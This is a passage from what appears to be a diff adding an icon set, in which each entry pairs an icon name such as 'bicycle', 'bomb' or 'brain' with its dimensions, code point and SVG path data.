0-32-12.8-32-32s16-32 32-32h284.8v64z"], + "bicycle": [640, 512, [], "f206", "M512.509 192.001c-16.373-.064-32.03 2.955-46.436 8.495l-77.68-125.153A24 24 0 0 0 368.001 64h-64c-8.837 0-16 7.163-16 16v16c0 8.837 7.163 16 16 16h50.649l14.896 24H256.002v-16c0-8.837-7.163-16-16-16h-87.459c-13.441 0-24.777 10.999-24.536 24.437.232 13.044 10.876 23.563 23.995 23.563h48.726l-29.417 47.52c-13.433-4.83-27.904-7.483-42.992-7.52C58.094 191.83.412 249.012.002 319.236-.413 390.279 57.055 448 128.002 448c59.642 0 109.758-40.793 123.967-96h52.033a24 24 0 0 0 20.406-11.367L410.37 201.77l14.938 24.067c-25.455 23.448-41.385 57.081-41.307 94.437.145 68.833 57.899 127.051 126.729 127.719 70.606.685 128.181-55.803 129.255-125.996 1.086-70.941-56.526-129.72-127.476-129.996zM186.75 265.772c9.727 10.529 16.673 23.661 19.642 38.228h-43.306l23.664-38.228zM128.002 400c-44.112 0-80-35.888-80-80s35.888-80 80-80c5.869 0 11.586.653 17.099 1.859l-45.505 73.509C89.715 331.327 101.213 352 120.002 352h81.3c-12.37 28.225-40.562 48-73.3 48zm162.63-96h-35.624c-3.96-31.756-19.556-59.894-42.383-80.026L237.371 184h127.547l-74.286 120zm217.057 95.886c-41.036-2.165-74.049-35.692-75.627-76.755-.812-21.121 6.633-40.518 19.335-55.263l44.433 71.586c4.66 7.508 14.524 9.816 22.032 5.156l13.594-8.437c7.508-4.66 9.817-14.524 5.156-22.032l-44.468-71.643a79.901 79.901 0 0 1 19.858-2.497c44.112 0 80 35.888 80 80-.001 45.54-38.252 82.316-84.313 79.885z"], + "biking": [640, 512, [], "f84a", "M400 96a48 48 0 1 0-48-48 48 48 0 0 0 48 48zm-4 121a31.9 31.9 0 0 0 20 7h64a32 32 0 0 0 0-64h-52.78L356 103a31.94 31.94 0 0 0-40.81.68l-112 96a32 32 0 0 0 3.08 50.92L288 305.12V416a32 32 0 0 0 64 0V288a32 32 0 0 0-14.25-26.62l-41.36-27.57 58.25-49.92zm116 39a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64zM128 256a128 128 0 1 0 128 128 128 128 0 0 0-128-128zm0 192a64 64 0 1 1 64-64 64 64 0 0 1-64 64z"], + "binoculars": [512, 512, [], "f1e5", "M416 48c0-8.84-7.16-16-16-16h-64c-8.84 0-16 7.16-16 16v48h96V48zM63.91 159.99C61.4 253.84 3.46 274.22 0 404v44c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32V288h32V128H95.84c-17.63 0-31.45 14.37-31.93 31.99zm384.18 0c-.48-17.62-14.3-31.99-31.93-31.99H320v160h32v160c0 17.67 14.33 32 32 32h96c17.67 0 32-14.33 32-32v-44c-3.46-129.78-61.4-150.16-63.91-244.01zM176 32h-64c-8.84 0-16 7.16-16 16v48h96V48c0-8.84-7.16-16-16-16zm48 256h64V128h-64v160z"], + "biohazard": [576, 512, [], "f780", "M287.9 112c18.6 0 36.2 3.8 52.8 9.6 13.3-10.3 23.6-24.3 29.5-40.7-25.2-10.9-53-17-82.2-17-29.1 0-56.9 6-82.1 16.9 5.9 16.4 16.2 30.4 29.5 40.7 16.5-5.7 34-9.5 52.5-9.5zM163.6 438.7c12-11.8 20.4-26.4 24.5-42.4-32.9-26.4-54.8-65.3-58.9-109.6-8.5-2.8-17.2-4.6-26.4-4.6-7.6 0-15.2 1-22.5 3.1 4.1 62.8 35.8 118 83.3 153.5zm224.2-42.6c4.1 16 12.5 30.7 24.5 42.5 47.4-35.5 79.1-90.7 83-153.5-7.2-2-14.7-3-22.2-3-9.2 0-18 1.9-26.6 4.7-4.1 44.2-26 82.9-58.7 109.3zm113.5-205c-17.6-10.4-36.3-16.6-55.3-19.9 6-17.7 10-36.4 10-56.2 0-41-14.5-80.8-41-112.2-2.5-3-6.6-3.7-10-1.8-3.3 1.9-4.8 6-3.6 9.7 4.5 13.8 6.6 26.3 6.6 38.5 0 67.8-53.8 122.9-120 122.9S168 117 168 49.2c0-12.1 2.2-24.7 6.6-38.5 1.2-3.7-.3-7.8-3.6-9.7-3.4-1.9-7.5-1.2-10 1.8C134.6 34.2 120 74 120 115c0 19.8 3.9 38.5 10 56.2-18.9 3.3-37.7 9.5-55.3 19.9-34.6 20.5-61 53.3-74.3 92.4-1.3 3.7.2 7.7 3.5 9.8 3.3 2 7.5 1.3 10-1.6 9.4-10.8 19-19.1 29.2-25.1 57.3-33.9 130.8-13.7 163.9 45 33.1 58.7 13.4 134-43.9 167.9-10.2 6.1-22 10.4-35.8 13.4-3.7.8-6.4 4.2-6.4 8.1.1 4 2.7 7.3 6.5 8 39.7 7.8 80.6.8 115.2-19.7 18-10.6 32.9-24.5 45.3-40.1 12.4 15.6 27.3 29.5 45.3 40.1 34.6 20.5 75.5 27.5 115.2 19.7 3.8-.7 6.4-4 6.5-8 0-3.9-2.6-7.3-6.4-8.1-13.9-2.9-25.6-7.3-35.8-13.4-57.3-33.9-77-109.2-43.9-167.9s106.6-78.9 163.9-45c10.2 6.1 19.8 14.3 29.2 25.1 2.5 2.9 6.7 3.6 10 1.6s4.8-6.1 3.5-9.8c-13.1-39.1-39.5-72-74.1-92.4zm-213.4 129c-26.5 0-48-21.5-48-48s21.5-48 48-48 48 21.5 48 48-21.5 48-48 48z"], + "birthday-cake": [448, 512, [], "f1fd", "M448 384c-28.02 0-31.26-32-74.5-32-43.43 0-46.825 32-74.75 32-27.695 0-31.454-32-74.75-32-42.842 0-47.218 32-74.5 32-28.148 0-31.202-32-74.75-32-43.547 0-46.653 32-74.75 32v-80c0-26.5 21.5-48 48-48h16V112h64v144h64V112h64v144h64V112h64v144h16c26.5 0 48 21.5 48 48v80zm0 128H0v-96c43.356 0 46.767-32 74.75-32 27.951 0 31.253 32 74.75 32 42.843 0 47.217-32 74.5-32 28.148 0 31.201 32 74.75 32 43.357 0 46.767-32 74.75-32 27.488 0 31.252 32 74.5 32v96zM96 96c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40zm128 0c-17.75 0-32-14.25-32-32 0-31 32-23 32-64 12 0 32 29.5 32 56s-14.25 40-32 40z"], + "blender": [512, 512, [], "f517", "M416 384H160c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h320c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-128 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm40-416h166.54L512 0H48C21.49 0 0 21.49 0 48v160c0 26.51 21.49 48 48 48h103.27l8.73 96h256l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H328c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H328c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM64 192V64h69.82l11.64 128H64z"], + "blender-phone": [576, 512, [], "f6b6", "M392 64h166.54L576 0H192v352h288l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h114.18l17.46-64H392c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h140.36l17.46-64H392c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8zM158.8 335.01l-25.78-63.26c-2.78-6.81-9.8-10.99-17.24-10.26l-45.03 4.42c-17.28-46.94-17.65-99.78 0-147.72l45.03 4.42c7.43.73 14.46-3.46 17.24-10.26l25.78-63.26c3.02-7.39.2-15.85-6.68-20.07l-39.28-24.1C98.51-3.87 80.09-.5 68.95 11.97c-92.57 103.6-92 259.55 2.1 362.49 9.87 10.8 29.12 12.48 41.65 4.8l39.41-24.18c6.89-4.22 9.7-12.67 6.69-20.07zM480 384H192c-35.35 0-64 28.65-64 64v32c0 17.67 14.33 32 32 32h352c17.67 0 32-14.33 32-32v-32c0-35.35-28.65-64-64-64zm-144 96c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "blind": [384, 512, [], "f29d", "M380.15 510.837a8 8 0 0 1-10.989-2.687l-125.33-206.427a31.923 31.923 0 0 0 12.958-9.485l126.048 207.608a8 8 0 0 1-2.687 10.991zM142.803 314.338l-32.54 89.485 36.12 88.285c6.693 16.36 25.377 24.192 41.733 17.501 16.357-6.692 24.193-25.376 17.501-41.734l-62.814-153.537zM96 88c24.301 0 44-19.699 44-44S120.301 0 96 0 52 19.699 52 44s19.699 44 44 44zm154.837 169.128l-120-152c-4.733-5.995-11.75-9.108-18.837-9.112V96H80v.026c-7.146.003-14.217 3.161-18.944 9.24L0 183.766v95.694c0 13.455 11.011 24.791 24.464 24.536C37.505 303.748 48 293.1 48 280v-79.766l16-20.571v140.698L9.927 469.055c-6.04 16.609 2.528 34.969 19.138 41.009 16.602 6.039 34.968-2.524 41.009-19.138L136 309.638V202.441l-31.406-39.816a4 4 0 1 1 6.269-4.971l102.3 129.217c9.145 11.584 24.368 11.339 33.708 3.965 10.41-8.216 12.159-23.334 3.966-33.708z"], + "blog": [512, 512, [], "f781", "M172.2 226.8c-14.6-2.9-28.2 8.9-28.2 23.8V301c0 10.2 7.1 18.4 16.7 22 18.2 6.8 31.3 24.4 31.3 45 0 26.5-21.5 48-48 48s-48-21.5-48-48V120c0-13.3-10.7-24-24-24H24c-13.3 0-24 10.7-24 24v248c0 89.5 82.1 160.2 175 140.7 54.4-11.4 98.3-55.4 109.7-109.7 17.4-82.9-37-157.2-112.5-172.2zM209 0c-9.2-.5-17 6.8-17 16v31.6c0 8.5 6.6 15.5 15 15.9 129.4 7 233.4 112 240.9 241.5.5 8.4 7.5 15 15.9 15h32.1c9.2 0 16.5-7.8 16-17C503.4 139.8 372.2 8.6 209 0zm.3 96c-9.3-.7-17.3 6.7-17.3 16.1v32.1c0 8.4 6.5 15.3 14.8 15.9 76.8 6.3 138 68.2 144.9 145.2.8 8.3 7.6 14.7 15.9 14.7h32.2c9.3 0 16.8-8 16.1-17.3-8.4-110.1-96.5-198.2-206.6-206.7z"], + "bold": [384, 512, [], "f032", "M333.49 238a122 122 0 0 0 27-65.21C367.87 96.49 308 32 233.42 32H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h31.87v288H34a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h209.32c70.8 0 134.14-51.75 141-122.4 4.74-48.45-16.39-92.06-50.83-119.6zM145.66 112h87.76a48 48 0 0 1 0 96h-87.76zm87.76 288h-87.76V288h87.76a56 56 0 0 1 0 112z"], + "bolt": [320, 512, [], "f0e7", "M296 160H180.6l42.6-129.8C227.2 15 215.7 0 200 0H56C44 0 33.8 8.9 32.2 20.8l-32 240C-1.7 275.2 9.5 288 24 288h118.7L96.6 482.5c-3.6 15.2 8 29.5 23.3 29.5 8.4 0 16.4-4.4 20.8-12l176-304c9.3-15.9-2.2-36-20.7-36z"], + "bomb": [512, 512, [], "f1e2", "M440.5 88.5l-52 52L415 167c9.4 9.4 9.4 24.6 0 33.9l-17.4 17.4c11.8 26.1 18.4 55.1 18.4 85.6 0 114.9-93.1 208-208 208S0 418.9 0 304 93.1 96 208 96c30.5 0 59.5 6.6 85.6 18.4L311 97c9.4-9.4 24.6-9.4 33.9 0l26.5 26.5 52-52 17.1 17zM500 60h-24c-6.6 0-12 5.4-12 12s5.4 12 12 12h24c6.6 0 12-5.4 12-12s-5.4-12-12-12zM440 0c-6.6 0-12 5.4-12 12v24c0 6.6 5.4 12 12 12s12-5.4 12-12V12c0-6.6-5.4-12-12-12zm33.9 55l17-17c4.7-4.7 4.7-12.3 0-17-4.7-4.7-12.3-4.7-17 0l-17 17c-4.7 4.7-4.7 12.3 0 17 4.8 4.7 12.4 4.7 17 0zm-67.8 0c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17zm67.8 34c-4.7-4.7-12.3-4.7-17 0-4.7 4.7-4.7 12.3 0 17l17 17c4.7 4.7 12.3 4.7 17 0 4.7-4.7 4.7-12.3 0-17l-17-17zM112 272c0-35.3 28.7-64 64-64 8.8 0 16-7.2 16-16s-7.2-16-16-16c-52.9 0-96 43.1-96 96 0 8.8 7.2 16 16 16s16-7.2 16-16z"], + "bone": [640, 512, [], "f5d7", "M598.88 244.56c25.2-12.6 41.12-38.36 41.12-66.53v-7.64C640 129.3 606.7 96 565.61 96c-32.02 0-60.44 20.49-70.57 50.86-7.68 23.03-11.6 45.14-38.11 45.14H183.06c-27.38 0-31.58-25.54-38.11-45.14C134.83 116.49 106.4 96 74.39 96 33.3 96 0 129.3 0 170.39v7.64c0 28.17 15.92 53.93 41.12 66.53 9.43 4.71 9.43 18.17 0 22.88C15.92 280.04 0 305.8 0 333.97v7.64C0 382.7 33.3 416 74.38 416c32.02 0 60.44-20.49 70.57-50.86 7.68-23.03 11.6-45.14 38.11-45.14h273.87c27.38 0 31.58 25.54 38.11 45.14C505.17 395.51 533.6 416 565.61 416c41.08 0 74.38-33.3 74.38-74.39v-7.64c0-28.18-15.92-53.93-41.12-66.53-9.42-4.71-9.42-18.17.01-22.88z"], + "bong": [448, 512, [], "f55c", "M302.5 512c23.18 0 44.43-12.58 56-32.66C374.69 451.26 384 418.75 384 384c0-36.12-10.08-69.81-27.44-98.62L400 241.94l9.38 9.38c6.25 6.25 16.38 6.25 22.63 0l11.3-11.32c6.25-6.25 6.25-16.38 0-22.63l-52.69-52.69c-6.25-6.25-16.38-6.25-22.63 0l-11.31 11.31c-6.25 6.25-6.25 16.38 0 22.63l9.38 9.38-39.41 39.41c-11.56-11.37-24.53-21.33-38.65-29.51V63.74l15.97-.02c8.82-.01 15.97-7.16 15.98-15.98l.04-31.72C320 7.17 312.82-.01 303.97 0L80.03.26c-8.82.01-15.97 7.16-15.98 15.98l-.04 31.73c-.01 8.85 7.17 16.02 16.02 16.01L96 63.96v153.93C38.67 251.1 0 312.97 0 384c0 34.75 9.31 67.27 25.5 95.34C37.08 499.42 58.33 512 81.5 512h221zM120.06 259.43L144 245.56V63.91l96-.11v181.76l23.94 13.87c24.81 14.37 44.12 35.73 56.56 60.57h-257c12.45-24.84 31.75-46.2 56.56-60.57z"], + "book": [448, 512, [], "f02d", "M448 360V24c0-13.3-10.7-24-24-24H96C43 0 0 43 0 96v320c0 53 43 96 96 96h328c13.3 0 24-10.7 24-24v-16c0-7.5-3.5-14.3-8.9-18.7-4.2-15.4-4.2-59.3 0-74.7 5.4-4.3 8.9-11.1 8.9-18.6zM128 134c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm0 64c0-3.3 2.7-6 6-6h212c3.3 0 6 2.7 6 6v20c0 3.3-2.7 6-6 6H134c-3.3 0-6-2.7-6-6v-20zm253.4 250H96c-17.7 0-32-14.3-32-32 0-17.6 14.4-32 32-32h285.4c-1.9 17.1-1.9 46.9 0 64z"], + "book-dead": [448, 512, [], "f6b7", "M272 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16zm176 222.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16c0-6.4-3.2-12.8-9.6-19.2-3.2-16-3.2-60.8 0-73.6 6.4-3.2 9.6-9.6 9.6-19.2zM240 56c44.2 0 80 28.7 80 64 0 20.9-12.7 39.2-32 50.9V184c0 8.8-7.2 16-16 16h-64c-8.8 0-16-7.2-16-16v-13.1c-19.3-11.7-32-30-32-50.9 0-35.3 35.8-64 80-64zM124.8 223.3l6.3-14.7c1.7-4.1 6.4-5.9 10.5-4.2l98.3 42.1 98.4-42.1c4.1-1.7 8.8.1 10.5 4.2l6.3 14.7c1.7 4.1-.1 8.8-4.2 10.5L280.6 264l70.3 30.1c4.1 1.7 5.9 6.4 4.2 10.5l-6.3 14.7c-1.7 4.1-6.4 5.9-10.5 4.2L240 281.4l-98.3 42.2c-4.1 1.7-8.8-.1-10.5-4.2l-6.3-14.7c-1.7-4.1.1-8.8 4.2-10.5l70.4-30.1-70.5-30.3c-4.1-1.7-5.9-6.4-4.2-10.5zm256 224.7H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8zM208 136c8.8 0 16-7.2 16-16s-7.2-16-16-16-16 7.2-16 16 7.2 16 16 16z"], + "book-medical": [448, 512, [], "f7e6", "M448 358.4V25.6c0-16-9.6-25.6-25.6-25.6H96C41.6 0 0 41.6 0 96v320c0 54.4 41.6 96 96 96h326.4c12.8 0 25.6-9.6 25.6-25.6v-16q0-9.6-9.6-19.2c-3.2-16-3.2-60.8 0-73.6q9.6-4.8 9.6-19.2zM144 168a8 8 0 0 1 8-8h56v-56a8 8 0 0 1 8-8h48a8 8 0 0 1 8 8v56h56a8 8 0 0 1 8 8v48a8 8 0 0 1-8 8h-56v56a8 8 0 0 1-8 8h-48a8 8 0 0 1-8-8v-56h-56a8 8 0 0 1-8-8zm236.8 280H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8z"], + "book-open": [576, 512, [], "f518", "M542.22 32.05c-54.8 3.11-163.72 14.43-230.96 55.59-4.64 2.84-7.27 7.89-7.27 13.17v363.87c0 11.55 12.63 18.85 23.28 13.49 69.18-34.82 169.23-44.32 218.7-46.92 16.89-.89 30.02-14.43 30.02-30.66V62.75c.01-17.71-15.35-31.74-33.77-30.7zM264.73 87.64C197.5 46.48 88.58 35.17 33.78 32.05 15.36 31.01 0 45.04 0 62.75V400.6c0 16.24 13.13 29.78 30.02 30.66 49.49 2.6 149.59 12.11 218.77 46.95 10.62 5.35 23.21-1.94 23.21-13.46V100.63c0-5.29-2.62-10.14-7.27-12.99z"], + "book-reader": [512, 512, [], "f5da", "M352 96c0-53.02-42.98-96-96-96s-96 42.98-96 96 42.98 96 96 96 96-42.98 96-96zM233.59 241.1c-59.33-36.32-155.43-46.3-203.79-49.05C13.55 191.13 0 203.51 0 219.14v222.8c0 14.33 11.59 26.28 26.49 27.05 43.66 2.29 131.99 10.68 193.04 41.43 9.37 4.72 20.48-1.71 20.48-11.87V252.56c-.01-4.67-2.32-8.95-6.42-11.46zm248.61-49.05c-48.35 2.74-144.46 12.73-203.78 49.05-4.1 2.51-6.41 6.96-6.41 11.63v245.79c0 10.19 11.14 16.63 20.54 11.9 61.04-30.72 149.32-39.11 192.97-41.4 14.9-.78 26.49-12.73 26.49-27.06V219.14c-.01-15.63-13.56-28.01-29.81-27.09z"], + "bookmark": [384, 512, [], "f02e", "M0 512V48C0 21.49 21.49 0 48 0h288c26.51 0 48 21.49 48 48v464L192 400 0 512z"], + "border-all": [448, 512, [], "f84c", "M416 32H32A32 32 0 0 0 0 64v384a32 32 0 0 0 32 32h384a32 32 0 0 0 32-32V64a32 32 0 0 0-32-32zm-32 64v128H256V96zm-192 0v128H64V96zM64 416V288h128v128zm192 0V288h128v128z"], + "border-none": [448, 512, [], "f850", "M240 224h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-288 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM240 320h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-384h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zM48 224H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-192H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H16A16 16 0 0 0 0 48v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16zm96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "border-style": [448, 512, [], "f853", "M240 416h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-96 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm192 0h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm96-192h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0 96h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-288h-32a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-96H32A32 32 0 0 0 0 64v400a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V96h368a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16z"], + "bowling-ball": [496, 512, [], "f436", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM120 192c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm64-96c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm48 144c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "box": [512, 512, [], "f466", "M509.5 184.6L458.9 32.8C452.4 13.2 434.1 0 413.4 0H272v192h238.7c-.4-2.5-.4-5-1.2-7.4zM240 0H98.6c-20.7 0-39 13.2-45.5 32.8L2.5 184.6c-.8 2.4-.8 4.9-1.2 7.4H240V0zM0 224v240c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V224H0z"], + "box-open": [640, 512, [], "f49e", "M425.7 256c-16.9 0-32.8-9-41.4-23.4L320 126l-64.2 106.6c-8.7 14.5-24.6 23.5-41.5 23.5-4.5 0-9-.6-13.3-1.9L64 215v178c0 14.7 10 27.5 24.2 31l216.2 54.1c10.2 2.5 20.9 2.5 31 0L551.8 424c14.2-3.6 24.2-16.4 24.2-31V215l-137 39.1c-4.3 1.3-8.8 1.9-13.3 1.9zm212.6-112.2L586.8 41c-3.1-6.2-9.8-9.8-16.7-8.9L320 64l91.7 152.1c3.8 6.3 11.4 9.3 18.5 7.3l197.9-56.5c9.9-2.9 14.7-13.9 10.2-23.1zM53.2 41L1.7 143.8c-4.6 9.2.3 20.2 10.1 23l197.9 56.5c7.1 2 14.7-1 18.5-7.3L320 64 69.8 32.1c-6.9-.8-13.5 2.7-16.6 8.9z"], + "box-tissue": [512, 512, [], "e05b", "M383.88,287.82l64-192H338.47a70.2,70.2,0,0,1-66.59-48,70.21,70.21,0,0,0-66.6-48H63.88l64,288Zm-384,192a32,32,0,0,0,32,32h448a32,32,0,0,0,32-32v-64H-.12Zm480-256H438.94l-21.33,64h14.27a16,16,0,0,1,0,32h-352a16,16,0,1,1,0-32H95.09l-14.22-64h-49a32,32,0,0,0-32,32v128h512v-128A32,32,0,0,0,479.88,223.82Z"], + "boxes": [576, 512, [], "f468", "M560 288h-80v96l-32-21.3-32 21.3v-96h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16zm-384-64h224c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16h-80v96l-32-21.3L256 96V0h-80c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16zm64 64h-80v96l-32-21.3L96 384v-96H16c-8.8 0-16 7.2-16 16v192c0 8.8 7.2 16 16 16h224c8.8 0 16-7.2 16-16V304c0-8.8-7.2-16-16-16z"], + "braille": [640, 512, [], "f2a1", "M128 256c0 35.346-28.654 64-64 64S0 291.346 0 256s28.654-64 64-64 64 28.654 64 64zM64 384c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352C28.654 32 0 60.654 0 96s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm224 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-352c-35.346 0-64 28.654-64 64s28.654 64 64 64 64-28.654 64-64-28.654-64-64-64zm160 192c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0 160c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32zm0-320c-17.673 0-32 14.327-32 32s14.327 32 32 32 32-14.327 32-32-14.327-32-32-32z"], + "brain": [576, 512, [], "f5dc", "M208 0c-29.9 0-54.7 20.5-61.8 48.2-.8 0-1.4-.2-2.2-.2-35.3 0-64 28.7-64 64 0 4.8.6 9.5 1.7 14C52.5 138 32 166.6 32 200c0 12.6 3.2 24.3 8.3 34.9C16.3 248.7 0 274.3 0 304c0 33.3 20.4 61.9 49.4 73.9-.9 4.6-1.4 9.3-1.4 14.1 0 39.8 32.2 72 72 72 4.1 0 8.1-.5 12-1.2 9.6 28.5 36.2 49.2 68 49.2 39.8 0 72-32.2 72-72V64c0-35.3-28.7-64-64-64zm368 304c0-29.7-16.3-55.3-40.3-69.1 5.2-10.6 8.3-22.3 8.3-34.9 0-33.4-20.5-62-49.7-74 1-4.5 1.7-9.2 1.7-14 0-35.3-28.7-64-64-64-.8 0-1.5.2-2.2.2C422.7 20.5 397.9 0 368 0c-35.3 0-64 28.6-64 64v376c0 39.8 32.2 72 72 72 31.8 0 58.4-20.7 68-49.2 3.9.7 7.9 1.2 12 1.2 39.8 0 72-32.2 72-72 0-4.8-.5-9.5-1.4-14.1 29-12 49.4-40.6 49.4-73.9z"], + "bread-slice": [576, 512, [], "f7ec", "M288 0C108 0 0 93.4 0 169.14 0 199.44 24.24 224 64 224v256c0 17.67 16.12 32 36 32h376c19.88 0 36-14.33 36-32V224c39.76 0 64-24.56 64-54.86C576 93.4 468 0 288 0z"], + "briefcase": [512, 512, [], "f0b1", "M320 336c0 8.84-7.16 16-16 16h-96c-8.84 0-16-7.16-16-16v-48H0v144c0 25.6 22.4 48 48 48h416c25.6 0 48-22.4 48-48V288H320v48zm144-208h-80V80c0-25.6-22.4-48-48-48H176c-25.6 0-48 22.4-48 48v48H48c-25.6 0-48 22.4-48 48v80h512v-80c0-25.6-22.4-48-48-48zm-144 0H192V96h128v32z"], + "briefcase-medical": [512, 512, [], "f469", "M464 128h-80V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v48H48c-26.5 0-48 21.5-48 48v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V176c0-26.5-21.5-48-48-48zM192 96h128v32H192V96zm160 248c0 4.4-3.6 8-8 8h-56v56c0 4.4-3.6 8-8 8h-48c-4.4 